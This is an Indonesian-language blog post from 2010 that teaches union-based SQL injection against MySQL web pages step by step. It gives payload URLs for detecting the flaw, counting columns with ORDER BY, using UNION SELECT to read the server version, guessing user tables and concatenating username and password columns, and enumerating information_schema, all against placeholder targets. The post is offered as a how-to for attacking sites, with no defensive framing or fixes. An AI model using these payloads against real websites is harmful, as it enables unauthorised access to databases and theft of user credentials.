Selasa, 09 Februari 2010

SQL Injection

maaf kepada sob yg lebih ilmu nya dari gw, gw cuma mau share soal SQL Injection..



SQL Injection merupakan kelemahan dari sebuah web dan sering sekali ditemukan pada saat ini..langsung aja deh yah juragan² smwnya

langkah²nya :

1. cek vulnerabilitas webe
misalnya qta mendapatkn target nya : www.target.com/news.php?id=4
sekarang qta test ada kelemahan atw tdk pd web trsbt dg menanmbahkan tanda (')
jd alamat target menjadi www.target.com/news.php?id=4'
jk muncul seperti :

warning:"msql_fetch_array():suppleid argument is nota valid MySQLresult resource in www/web/target.com/news.php on line 4 bla....bla..."

atw mirip sama :
“You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right etc…”
nah berarti web itu bisa diberikan SQL Injection

2. cek banyaknya kolom
untuk menemukan banyaknya kolom dapat menggunakan statement ORDER BY....
caranya adalah :
http://www.target.com/news.php?=4 ORDER BY 1/* <---- ngak ada error
http://www.target.com/news.php?=4 ORDER BY 2/* <---- ngak ada error
http://www.target.com/news.php?=4 ORDER BY 3/* <---- ngak ada error
http://www.target.com/news.php?=4 ORDER BY 4/* <---- ngak ada error
....
intinya qta naikkan angkanya sampai qta dapatkan error
...
http://www.target.com/news.php?=4 ORDER BY 6/* <---- ngak ada error
http://www.target.com/news.php?=4 ORDER BY 7/* <---- muncul error
itu artinya, bahwa itu memiliki 6 kolom, karena qta mendapati error pada angka 7.

3. cek UNION Funtion
dg UNION qta dapat melakukan SELECT data di dalam SQL statement.
http://target.com/news.php?=4 UNION ALL SELECT 1,2,3,4,5,6/*
Jika di layar halaman setelah loading muncul angka, misal 3 atau 4 atau keduanya, maka UNION bisa bekerja.
(Dalam contoh ini qta anggap muncul angka 3 dan 4). Oya, misalkan /* tidak bekerja, coba gunakan — (minus minus)

4. Cek Versi MySQL
Tadi dari nomer 3, muncul angka 3 dan 4. Sekarang qta gunakan kolom nomer 3 atau 4 itu untuk mengecek versi MySQL.
Sehingga akan menjadi seperti :
http://www.contoh.com/news.php?id=7 UNION ALL SELECT 1,2,version(),4,5,6/*
Hasilnya akan muncul versi MySQL, misal versi 5.0
NB: Seharusnya cara diatas gak error, tapi kalo misal error coba deh pake
http://www.contoh.com/news.php?id=7 UNION ALL SELECT 1,2,convert(@@version using latin1),4,5,6/*
atau pakai
http://www.contoh.com/news.php?id=7 UNION ALL SELECT 1,2,unhex(hex(@@version)),4,5,6/*

5. Mendapatkan nama tabel dan kolom.
Ini merupakan bagian yang agak susah apabila versi MySQL server kurang dari versi 5, karena butuh Hoki dan keberuntungan yang tinggi. (Uhh…)
Berikut saya jelaskan untuk MySQL versi < 5 .
Pada umumnya nama tabel adalah : tbl_user, user, admin
Pada umumnya nama kolom adalah : user, username, passwd, kode, password, id
Sekarang qta coba
http://www.contoh.com/news.php?id=7 UNION ALL SELECT 1,2,3,4,5,6 from tbl_user/*
Apabila beruntung, tidak muncul error, itu artinya tabel bernama “tbl_user” ada dalam database. Jika ternyata muncul pesan Error, coba dengan kemungkinan nama tabel lainnya.
Dari nomer 3 tadi, kolom nomer 3 dan 4 bisa qta pakai. Selanjutnya qta cari nama kolom (Yah.. lagi lagi nebak..)
http://www.contoh.com/news.php?id=7 UNION ALL SELECT 1,2,username,4,5,6 from tbl_user/*
atau
http://www.contoh.com/news.php?id=7 UNION ALL SELECT 1,2,3,username,5,6 from tbl_user/*
Nah, jika tidak Error maka harusnya muncul isi dari kolom username (:D)
Kalo error, coba deh cari kemungkinan nama kolom yang lain. (Pikir dunk…)
NB: Anda bisa menggunakan CONCAT, misal
http://www.contoh.com/news.php?id=7 UNION ALL SELECT 1,2,concat(username,char(32),password),4,5,6 from tbl_user/*

NAH SEKARANG UNTUK MYSQL V.5
MySQL v.5 menyimpan seluruh informasi tabel dan kolom di tabel bernama information_schema. Sehingga bisa:
http://www.contoh.com/news.php?id=7 UNION ALL SELECT 1,2,table_name,4,5,6 from information_schema.tables LIMIT 0,1/*
Di sini qta harus menggunakan limit agar ditampilkan satu persatu, jika tidak pakai Limit tidak bisa. Untuk nama tabel selanjutnya bisa dengan menambah LIMIT. Lakukan dari Limit (0,1) , (1,1), (1,2) , (2,3) … dst sampai anda menemukan informasi yang anda butuhkan.
Untuk kolom pun juga sama yaitu :
http://www.contoh.com/news.php?id=7 UNION ALL SELECT 1,2,column_name,4,5,6 from information_schema.columns LIMIT 0,1/*


terima kasih

semoga bermanfaat....